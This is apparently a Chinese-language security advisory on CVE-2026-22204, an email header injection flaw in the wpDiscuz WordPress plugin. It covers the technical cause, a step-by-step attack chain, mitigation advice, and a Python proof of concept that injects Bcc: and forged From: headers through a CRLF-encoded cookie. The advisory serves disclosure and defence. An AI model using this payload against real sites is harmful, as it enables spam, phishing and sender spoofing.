IPBUF安全漏洞报告
English
CVE-2026-22204 CVSS 3.7 低危

CVE-2026-22204 wpDiscuz插件邮件头注入漏洞

披露日期: 2026-03-13

漏洞信息

漏洞编号
CVE-2026-22204
漏洞类型
邮件头注入
CVSS评分
3.7 低危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
wpDiscuz WordPress插件

相关标签

邮件头注入wpDiscuzWordPress插件CVE-2026-22204Input Validationwp_mail()Cookie注入

漏洞概述

CVE-2026-22204是WordPress热门评论插件wpDiscuz中的一个邮件头注入漏洞。该漏洞存在于7.6.47之前的所有版本,攻击者可以通过在comment_author_email Cookie中注入恶意数据,利用urldecode()函数处理过程中的安全缺陷,向wp_mail()函数传递经过处理的恶意数据,从而实现邮件头注入攻击。攻击者利用此漏洞可以修改邮件收件人地址、伪造发件人信息,甚至注入额外的邮件头来执行钓鱼攻击或发送垃圾邮件。由于该漏洞无需认证即可利用,且影响所有使用该插件的WordPress站点,因此对使用wpDiscuz的网站构成了实际安全威胁。

技术细节

该漏洞的核心问题在于wpDiscuz插件对用户输入的Cookie值(comment_author_email)处理不当。当用户提交评论时,插件会从Cookie中读取comment_author_email字段的值,该值会经过urldecode()函数解码后直接传递给WordPress的wp_mail()函数。攻击者可以通过构造恶意的Cookie值,在email地址中注入换行符和额外的邮件头指令。例如,在email字段中注入CC:、BCC:等头信息,可以改变邮件的原始收件人。攻击者还可以通过注入From:头伪造发件人地址,实施钓鱼攻击。由于urldecode()函数的存在,URL编码的特殊字符会被解码,使得过滤机制可能被绕过。wp_mail()函数在处理邮件头时,如果包含未经过滤的用户输入,就会导致邮件头注入漏洞。

攻击链分析

STEP 1
步骤1
攻击者访问使用wpDiscuz插件的WordPress站点
STEP 2
步骤2
构造包含恶意邮件头指令的comment_author_email Cookie值,使用URL编码和换行符(%0d%0a)注入CC:、BCC:或From:等邮件头
STEP 3
步骤3
在提交评论时,Cookie中的恶意值被发送到服务器
STEP 4
步骤4
服务器端urldecode()函数对Cookie值进行解码,还原出包含换行符的恶意数据
STEP 5
步骤5
插件直接将解码后的数据传递给wp_mail()函数,未进行充分的输入验证和过滤
STEP 6
步骤6
wp_mail()函数解析邮件头时,将恶意注入的指令作为合法邮件头处理,导致邮件被发送到攻击者指定的收件人地址

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-22204 Email Header Injection PoC # wpDiscuz < 7.6.47 import requests import urllib.parse target_url = "http://target-wordpress-site.com" # 构造恶意Cookie值,注入邮件头 # 通过换行符注入额外的收件人 malicious_email = "[email protected]%0d%0aBcc: [email protected], [email protected]" # 或者伪造发件人 malicious_email_v2 = "[email protected]%0d%0aFrom: Admin <[email protected]>" # 设置Cookie并发送请求 cookies = { 'comment_author_email': urllib.parse.unquote(malicious_email) } # 触发评论提交流程 # 实际攻击需要找到评论提交的具体端点 response = requests.post( f"{target_url}/wp-comments-post.php", data={ 'comment': 'Test comment for CVE-2026-22204', 'author': 'Attacker', 'email': '[email protected]', 'url': '', 'submit': 'Post Comment' }, cookies=cookies, allow_redirects=False ) print(f"Response Status: {response.status_code}") print("If successful, the plugin may send emails with injected headers")

影响范围

wpDiscuz < 7.6.47

防御指南

临时缓解措施
如果无法立即升级插件,可通过在主题的functions.php中添加临时过滤函数,对comment_author_email Cookie进行净化处理,移除所有换行符和多余的邮件头字符。同时考虑暂时禁用站点的邮件发送功能或使用第三方邮件服务提供商的API替代WordPress默认的wp_mail()函数。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表